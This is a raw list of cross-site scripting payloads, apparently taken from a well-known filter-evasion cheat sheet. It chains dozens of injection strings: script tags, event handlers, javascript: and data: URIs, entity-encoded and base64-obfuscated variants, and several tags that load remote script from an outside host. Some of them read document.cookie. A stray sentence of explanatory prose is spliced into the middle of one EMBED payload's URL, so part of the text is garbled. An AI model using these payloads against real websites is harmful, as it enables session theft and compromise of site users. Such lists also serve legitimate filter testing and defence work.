--  ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>   '';!--"<XSS>=&{()}  <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>  <IMG SRC="javascript:alert('XSS');">  <IMG SRC=javascript:alert('XSS')>  <IMG SRC=JaVaScRiPt:alert('XSS')>  <IMG SRC=javascript:alert("XSS")>  <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>  <a onmouseover="alert(document.cookie)">xxs link</a>  <a onmouseover=alert(document.cookie)>xxs link</a>  <IMG """><SCRIPT>alert("XSS")</SCRIPT>">  <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>  <IMG SRC=# onmouseover="alert('xxs')">  <IMG SRC= onmouseover="alert('xxs')">  <IMG onmouseover="alert('xxs')">  <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40; &#39;&#88;&#83;&#83;&#39;&#41;>  <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097& #0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>  <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>  <IMG SRC="jav	ascript:alert('XSS');">  <IMG SRC="jav&#x09;ascript:alert('XSS');">  <IMG SRC="jav&#x0A;ascript:alert('XSS');">  <IMG SRC="jav&#x0D;ascript:alert('XSS');">  <IMG SRC=" &#14;  javascript:alert('XSS');">  <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>  <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>  <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>  <<SCRIPT>alert("XSS");//<</SCRIPT>  <SCRIPT SRC=http://ha.ckers.org/xss.js?< B >  <SCRIPT SRC=//ha.ckers.org/.j>  <IMG SRC="javascript:alert('XSS')"  <iframe src=http://ha.ckers.org/scriptlet.html <  \";alert('XSS');//  </TITLE><SCRIPT>alert("XSS");</SCRIPT>  <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">  <BODY BACKGROUND="javascript:alert('XSS')">  <IMG DYNSRC="javascript:alert('XSS')">  <IMG LOWSRC="javascript:alert('XSS')">  <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>  <IMG SRC='vbscript:msgbox("XSS")'>  <BODY ONLOAD=alert('XSS')>  <BGSOUND SRC="javascript:alert('XSS');">  <BR SIZE="&{alert('XSS')}">  <LINK REL="stylesheet" HREF="javascript:alert('XSS');">  <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">  <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>  <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>  <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>  <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">  exp/*<A STYLE='no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))'>  <STYLE TYPE="text/javascript">alert('XSS');</STYLE>  <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>  <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>  <XSS STYLE="xss:expression(alert('XSS'))">  ¼script¾alert(¢XSS¢)¼/script¾  <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">  <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">  <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">  <IFRAME SRC="javascript:alert('XSS');"></IFRAME>  <IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>  <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>  <TABLE BACKGROUND="javascript:alert('XSS')">  <TABLE><TD BACKGROUND="javascript:alert('XSS')">  <DIV STYLE="background-image: url(javascript:alert('XSS'))">  <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">  <DIV STYLE="width: expression(alert('XSS'));">  <DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">  <!--[if gte IE 4]>  <SCRIPT>alert('XSS');</SCRIPT>  <![endif]-->  <BASE HREF="javascript:alert('XSS');//">   <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>  <EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).: org/xss.swf" AllowScriptAccess="always"></EMBED>  <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>  <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>  <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>  <SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>  <SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>  <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>  <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>  <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>  <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>